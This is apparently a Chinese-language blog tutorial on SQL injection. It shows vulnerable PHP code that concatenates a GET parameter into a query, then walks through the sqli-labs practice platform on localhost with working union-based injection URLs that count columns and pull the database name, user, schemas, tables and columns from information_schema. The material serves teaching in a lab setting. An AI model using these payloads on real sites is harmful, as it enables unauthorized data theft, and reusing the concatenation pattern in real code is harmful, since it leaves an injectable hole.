SQL进阶理论篇(二十):什么是SQL注入

文章目录

简介

这节是纯兴趣篇了。

web安全是一个很大的课题,稍有不注意,就会留下漏洞,允许别人通过非正常的方式注入SQL。

本节我们将通过几个简单的练习来展示以下SQL注入的过程,主要包括以下几部分:

  • SQL注入的原理。用户是如何通过URL请求或者提交web表单的方式提交非法SQL命令的?
  • 如何使用sqli-labs注入平台来进行SQL注入实验?

SQL注入的原理

SQL注入,也叫做SQL Injection。是将非法的SQL命令插入到URL或者表单里进行提交,服务器接收到这些非法提交之后,会认为是正常的SQL语句而执行,从而暴露给用户很多不该看到的信息。

那是如何实现把SQL语句隐藏在输入的信息中呢?

这里举个简单的例子。

如下面的PHP代码,是将浏览器发送过来的URL请求,通过GET的方式获取ID参数,赋值给$id变量,然后通过字符串拼接的方式组成了SQL语句。这里的代码没有对传入的ID参数做检验,而是采用了直接拼接的方式,这样就可能产生SQL注入。

php 复制代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

如果我们在URL里的?id=后面输入' or 1=1 --+,那么SQL语句就变成了:

sql 复制代码
SELECT * FROM users WHERE id='' or 1=1 --  LIMIT 0,1

其中+在浏览器URL相当于是空格,而输入的--则把之后的limit全部注释掉了,整个SQL摇身一变,可以从users表中获取所有数据了。

危险。

SQL注入的实例

通常我们希望通过SQL注入获取更多的信息,比如说数据库名、表名和字段名等。

搭建sqli-labs注入环境

这是一个开源的SQL注入平台,用来模拟实现注入。可以从github上下载。

第二步,下载好后,我们需要配置PHP、Apache环境,来运行sqli-labs。如果本机没有这些环境也没有关系,推荐直接使用phpStudy这个工具,里面集成了PHP、Apache和MySQL,甚至还能指定版本,其运行图如下:

第三步,配置sqli-labs以及Mysql参数。

给sqli-labs指定需要访问的数据库账户和密码。打开sqli-labs-master\sql-connections\db-creds.inc文件,修改里面的$dbpass,改成我们自己的MySQL密码。

接着访问http://localhost/sqli-labs-master/,在打开的下面页面里,选择Setup/reset Database for labs,以启动数据库。

如果此时提示数据库连接错误,那可能需要我们修改以下MySQL的配置文件:

复制代码
[client]
default-character-set=utf8
[mysql]
default-character-set=utf8
[mysqld]
character-set-server = utf8
default_authentication_plugin = mysql_native_password

实例一:猜测where条件

访问本地的http://localhost/sqli-labs-master/Less-1/页面,如下所示:

我们可以在URL里加上ID参数,来获取指定ID的信息,比如:http://localhost/sqli-labs-master/Less-1/?id=1

像这种都是正常的访问请求,现在我们访问http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1,回车后发现仍然能正常访问,说明ID参数不是数值查询,有可能是字符串查询,那我们在1后面加上一个单引号,即访问http://localhost/sqli-labs-master/Less-1/?id=1'。

这时候页面上会返回错误信息:

复制代码
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。

剖析这个错误,我们可以判断出后台的SQL语句,类似于:

sql 复制代码
$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";

判断查询语句的字段数

现在我们已经对后台的SQL查询有了大致的判断,是通过字符串拼接完成的SQL查询。现在我们判断下这个查询语句里的字段个数。怎么判断呢,通常是根据order by x,这里的x是我们估计的字段个数。在SQL里,如果x数值大于select查询的字段数,会报相应的语法错误。根据这个原理,我们就可以摸索出select查询的具体字段数。

比如:

sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

报错。

sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

正确。

说明select查询的字段数为3个。

获取当前数据库和用户信息

这里我们使用union操作符。

前面我们已经判断出,查询语句的字段个数为3,那么我们就union上select 1, datebase(), user()来获取当前数据库名和用户名。

整个URL为:http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() --+

返回结果如图:

页面中显示的security就是当前的数据库名称,root则表示当前的用户信息。

获取MySQL中的所有数据库名称

仍然是使用union操作符,但是数据库名称数量肯定是大于1的,所以我们需要使用group_concat(),将同一分组中的值连接起来,以字符串的形式返回。

具体使用如下:

url 复制代码
http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+

页面返回如下:

查询wucai数据库中的所有数据表

上一步我们得到了所有的数据库名称,如果我们想查看指定数据库中都有哪些数据表,可以使用:

复制代码
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+

查询heros数据表中的所有字段

如果我们想查看指定数据表中的字段,可以使用:

复制代码
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
相关推荐
字节渡客1 小时前
Redis键明明过期了,业务还在读到旧数据
数据库·redis·spring
OnlineProxy3 小时前
亚马逊多账号运营:如何在规避“关联封号”风险的同时实现电商规模化扩张
服务器·数据库·redis
辻弋2015 小时前
五年前的旅行视频糊成马赛克?Video2X用Real-ESRGAN逐帧重建细节,但只支持Windows、集显用户建议直接放弃
服务器·数据库·windows·游戏引擎·电脑
可乐鸡翅yeah_5 小时前
业务中 M3U8 水印相关坑,硬水印和动态水印区别
前端·网络·数据库·ffmpeg·m3u8在线
石头麻辣鱼6 小时前
Bamboo 调度系统 OceanBase 适配实战:存储过程迁移踩过的三个大坑
数据库
龙亘川6 小时前
数智驱动民政升级 精准守护民生保障
大数据·数据库·人工智能
念何架构之路6 小时前
zap扩展生态与总结
java·前端·数据库
晚安日记wanna7 小时前
MySQL 回表为什么这么慢?5 种优化手段逐个拆解
数据库·mysql·性能优化
第七页独白7 小时前
汽车零件厂如何通过 QMS 真正落地 IATF 16949——QMS软件系统:品质检验-内审稽核-8d客诉管理:全星质量管理软件系统
java·前端·数据库
晚安日记wanna7 小时前
索引建了却不走?7 个失效原因逐层排查
数据库·mysql·性能优化